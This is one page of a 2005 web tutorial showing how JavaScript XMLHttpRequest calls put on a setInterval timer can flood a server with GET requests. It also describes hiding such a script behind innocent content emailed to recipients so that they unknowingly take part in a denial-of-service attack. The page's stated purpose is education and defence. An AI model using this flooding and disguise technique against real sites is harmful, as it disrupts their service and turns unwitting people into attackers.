JavaScript
  Home arrow JavaScript arrow Page 5 - Programmatic GET Requests with JavaScript:...
Dev Articles Forums 
ADO.NET  
Apache  
ASP  
ASP.NET  
C#  
C++  
ColdFusion  
COM/COM+  
Delphi-Kylix  
Design Usability  
Development Cycles  
DHTML  
Embedded Tools  
Flash  
Graphic Design  
HTML  
IIS  
Interviews  
Java  
JavaScript  
MySQL  
Oracle  
Photoshop  
PHP  
Reviews  
Ruby-on-Rails  
SQL  
SQL Server  
Style Sheets  
VB.Net  
Visual Basic  
Web Authoring  
Web Services  
Web Standards  
XML  
Mobile Linux 
App Generation ROI 
IBM® developerWorks 
Sun Developer Network 
Weekly Newsletter
 
Developer Updates  
Free Website Content 
 RSS  Articles
 RSS  Forums
 RSS  All Feeds
Write For Us Get Paid 
Request Media Kit
Contact Us 
Site Map 
Privacy Policy 
Support 
 USERNAME
 
 PASSWORD
 
 
  >>> SIGN UP!  
  Lost Password? 
JAVASCRIPT

Programmatic GET Requests with JavaScript: Simple Way to Hack Your Site
By: Alejandro Gervasio
  • Search For More Articles!
  • Disclaimer
  • Author Terms
  • Rating: 5 stars5 stars5 stars5 stars5 stars / 25
    2005-07-13

    Table of Contents:
  • Programmatic GET Requests with JavaScript: Simple Way to Hack Your Site
  • A Quick Look At The XMLHttpRequest Object
  • When High Levels of Traffic Are Dangerous
  • Automated GET requests
  • Massive HTTP requests: Using a Timer

  • Rate this Article: Poor Best 
      ADD THIS ARTICLE TO:
      Del.ici.ous Digg
      Blink Simpy
      Google Spurl
      Y! MyWeb Furl
    Email Me Similar Content When Posted
    Add Developer Shed Article Feed To Your Site
    Email Article To Friend
    Print Version Of Article
    PDF Version Of Article
     
     
    ADVERTISEMENT


    Programmatic GET Requests with JavaScript: Simple Way to Hack Your Site - Massive HTTP requests: Using a Timer


    (Page 5 of 5 )

    In first place, I’ll define a basic XHTML document, “example_file.htm” that will be used as the target for the script. It’s as simple as this:

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html>
    <head>
    <title>Example document</title>
    </head>
    <body>
    <h1>Welcome to our super cool site!</h1>
    </body>
    </html>

    Now, the next thing to do is including the previous functions in a new document, as listed below:

    // function getXMLHTTPObject
    function getXMLHTTPObject(){
        //instantiate new XMLHTTP object
        var objhttp=(window.XMLHttpRequest)?new XMLHttpRequest():new ActiveXObject('Microsoft.XMLHTTP');
        if(!objhttp){return};
        // assign event handler
        objhttp.onreadystatechange=displayStatus;
        return objhttp;
    }
    // function sendRequest
    function sendRequest(url,data,method,header){
        // get XMLHTTP object
                objhttp=getXMLHTTPObject();
        // set default values
        if(!url){url='default_url.htm'};
        if(!data){data='defaultdata=defaultvalue'};
        if(!method){method='get'};
        if(!header){header='Content-Type:text/html; charset=iso-8859-1'};
        // open socket connection in asyncronous mode
        objhttp.open(method,url,true);
        // send header
        objhttp.setRequestHeader(header.split(':')[0],header.split(':')[1]);
        // send data
        objhttp.send(data);
        // return xmlhttp object
        return objhttp;
    }
    // function displayStatus
    function displayStatus(){
        if(objhttp.readyState==4){
            // create paragraph elements
            var parStat=document.createElement('p');
            var parText=document.createElement('p');
            var parResp=document.createElement('p');
            // assign ID attributes
            parStat.id='status';
            parText.id='text';
            parResp.id='response';
            // append text nodes
            parStat.appendChild(document.createTextNode('Status : '+objhttp.status));
            parText.appendChild(document.createTextNode('Status text : '+objhttp.statusText));
            parResp.appendChild(document.createTextNode('Document code : '+objhttp.responseText));
            // insert <p> elements into document tree
            document.body.appendChild(parStat);
            document.body.appendChild(parText);
            document.body.appendChild(parResp);
        }
    }

    Lastly, the whole code is executed when the page is loaded:

    // execute code when page is loaded
    window.onload=function(){
        if(document.createElement&&document.createTextNode){
            sendRequest('example_file.htm');
        }
    }

    That was simple, huh? Once the page is loaded, the script makes a GET request to the server, using “example_file.htm” as the target file. If the process is successfully completed, the status code is displayed on the browser, along with the source code for the sample file.

    At this point, maybe you’re wondering how the script can be considered as harmful code? Well, let’s replace the line that sends a single request, with this line:

    // execute function when page is loaded
    window.onload=function(){
        if(document.createElement&&document.createTextNode){
            // send get request every 2 seconds
            setInterval("sendRequest('example_file.htm');",2*1000);
                }
    }

    Now things look a little bit different. I’ve used the JavaScript “setInterval()” function to wrap up the “sendRequest()” method, specifying a time interval in the execution of two seconds. With this simple snippet, I’m requesting “example_file.htm” every two seconds. Definitively, things get even worse if the requested file is performing some kind of database operation or another resource-consuming task.

    I could go one step further, by reducing the interval between requests to milliseconds, without compromising significantly computational resources on the client machine, since the requests are made is asynchronous mode.

    But there is still another addition. Usually, this kind of attacks are performed from multiple machines that send massive requests to the targeted server, thus a malicious attacker might send by email to several innocent recipients, the link that points to the above script, hiding its real purpose with innocent content, such as appealing landscape pictures, remarkable quotes or whatever you can imagine.

    As long as the recipient is delighting his/her eyes with pleasant content, the script will be sending in the background massive requests to the selected server. Certainly not a fun situation for the victim.

    Asides from sending programmatic requests, this method allows tampering URLs with external data, without the need to work directly with a browser’s address bar, which introduces yet another conflictive security issue.

    As you probably know, very often the same technique can be used for opposite purposes. In this case, I’ve demonstrated that denial of service attacks are feasible of being carried out with a few lines of JavaScript code.

    Wrapping up

    That’s all for now. Over this first part of the series, I’ve explained in detail how unprotected websites can be targeted as possible victims of attackers, using only web-based techniques. The only real requirements are a basic knowledge about the XMLHttpRequest object and JavaScript.

    Considering this situation, levels of traffic should be always monitored, as well as incoming user input from GET/POST requests and cookies. If you get unusual traffic on your site or receive unexpected data, make sure you’re armed with the proper tools to reject potential attacks.

    In the next part of the series, I’ll take a look at another attack technique, using the same XMLHttpRequest object: automated post form submissions. Thus, get ready to learn more about http-based attacks, in order to avoid its undesirable effects. See you next week!


    DISCLAIMER: The content provided in this article is not warranted or guaranteed by Developer Shed, Inc. The content provided is intended for entertainment and/or educational purposes in order to introduce to the reader key ideas, concepts, and/or product reviews. As such it is incumbent upon the reader to employ real-world tactics for security and implementation of best practices. We are not liable for any negative consequences that may result from implementing any information covered in our articles or tutorials. If this is a hardware review, it is not recommended to open and/or modify your hardware.

       · The first part of the article is intended to show how automated JavaScript-based GET...
       · Hifirst of all thank you for your great article, it's so nice, I didn't know...
       · Thanks for the comments on the article. Pointing out to your question, the answer is...
       · Hey Alejandro, how're ya?you thanking me for the comment, come on man, thank...
       · Hello bijan,Glad to hear from you again. Despite the fact that writing a comment...
       · Hi.As usual I congratulate you for the goodarticle.I read in MDC:As a...
       · Hello Wisher,Thank you for the kind comments on my AJAX article. I’m glad you...
       · Hi.Thanks so much for the useful and readyreplay.I've just noticed the...
       · Hi Wisher,I'm glad to know my post was useful to you.Best Regards.
     

    JAVASCRIPT ARTICLES

    - Using Click Interceptions with a Database-Dr...
    - Using JavaScript Click Interceptions in an I...
    - Using Click Interceptions with JavaScript
    - QuickSort in Action
    - Quicksort
    - Using Mod_Security to Protect Your Server
    - Detecting and Countering Server Intrusions
    - Securing Your Web Server
    - Building a Secure Web Server
    - Protecting the Server
    - Book Review: Learning the Yahoo! User Interf...
    - Dynamically Generate a Selection List in a R...
    - Intergrate DWR into Your Java Web Application
    - Detect Browser Compatibility with the Reques...
    - Using the EXT JS Date Picker Widget






    © 2003-2008 by Developer Shed. All rights reserved. DS Cluster 6 hosted by Hostway
    Stay green...Green IT